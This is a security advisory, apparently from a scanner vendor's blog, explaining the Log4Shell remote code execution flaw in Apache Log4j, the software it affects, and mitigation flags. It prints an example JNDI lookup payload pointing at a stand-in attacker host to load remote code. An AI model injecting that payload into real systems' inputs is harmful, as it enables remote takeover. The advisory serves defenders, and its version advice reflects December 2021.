Critical alert – Log4Shell (CVE-2021-44228 in Log4j) – possibly the biggest impact vulnerability ever

On December 10, 2021, a serious vulnerability was discovered in the Apache Log4j framework, which is commonly used by most Java installations. The vulnerability, dubbed Log4Shell or LogJam, was identified in the NVD as CVE-2021-44228 and, to quote one of Acunetix original creators and primary security experts, Bogdan Calin, “it’s the biggest vulnerability we have ever seen, which affects almost everyone and will be exploited for months to come.

Important note: Acunetix does not use Log4j. However, the logging features of the Java IAST AcuSensor might be using Log4j indirectly, as the library will be used by Java if it is available in Tomcat. It is important that logging should only be enabled when running the sensor for troubleshooting purposes. Please be sure to check your AcuSensor installation immediately to ensure that you do not have logging enabled by default.

What is Log4Shell?

Log4Shell is an unauthenticated remote code execution (RCE, code injection) vulnerability. By exploiting it, the attacker can easily execute any code from a remote source on the attacked target.

Log4Shell was first discovered by Chen Zhaojun from the Alibaba Cloud Security team. The first software affected and exploited using this vulnerability was Minecraft. While at the time of discovery it was a zero-day vulnerability, information about it was released to the public only when a fix was already available.

How is Log4Shell exploited?

To exploit Log4Shell, the attacker may use any user input that is subsequently logged by the Log4j framework. For example, in the case of a web application, it may be any text entry field or basic headers such as User-Agent. Server logging is often set to log headers as well as form data.

The attacker only needs to include the following string in the logged user input:

${jndi:ldap://attacker.com/executeme}

Where attacker.com is a server controlled by the attacker and executeme is the Java class to be executed on the victim server. And this is just one of many ways to exploit this vulnerability.

What software is affected by Log4Shell?

The Log4Shell vulnerability may affect all Log4j 2 versions as well as many Log4j 1 versions. The only version of Log4j that is considered safe is the latest release 2.15.0.

The Log4j framework is one of the most commonly used libraries in the world. This means that many other software products use it, too. Here are some software components and packages that are known to be affected: Elasticsearch, Grails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket, and more.

Here is a list of some companies indirectly affected (via the software supply chain) by this vulnerability: Google, Amazon, Tesla, CloudFlare, PayPal, Netflix, Twitter, LinkedIn, Apple, VMWare, and more. There is a very high probability that you are affected as well and not just your web applications.

How to check if you are affected by Log4Shell?

For web applications, Acunetix will have a complete check to detect the Log4Shell vulnerability within 24 hours of publication of this post.

If you are using Acunetix on-premises, we will have a check for this vulnerability ready later today. Once it’s available, update your Acunetix installation to the latest version and scan all your web assets. If you are using Acunetix online, the check will be available within 24 hours. Then, simply scan all your web assets at your earliest convenience. If you are using the Acunetix SCA, you can already detect if your web applications are vulnerable to Log4Shell.

If you want to check whether your other assets (non-web) are affected, you need to manually check every Java installation to see if Log4j is used, which version, and how it is configured. You can follow this extensive guide for manual detection.

How to mitigate Log4Shell attacks?

To mitigate Log4Shell:

  • Immediately upgrade your Log4j installation to version 2.15.0.
  • If you cannot upgrade to 2.15.0 and you are using version 2.10.0 or later, set formatMsgNoLookups​=true when you configure Log4j:
    • Pass an argument when invoking Java:
      java -Dlog4j2.formatMsgNoLookups=true ...
    • Set the environment variable:
      LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ...
    • Set the JVM arguments environment variable:
      JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true
  • If you are using a version older than 2.10.0 and cannot upgrade, manually modify your log4j.jar file using these instructions from Hacker News.

Note that a web application firewall will not be able to protect you from Log4Shell.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s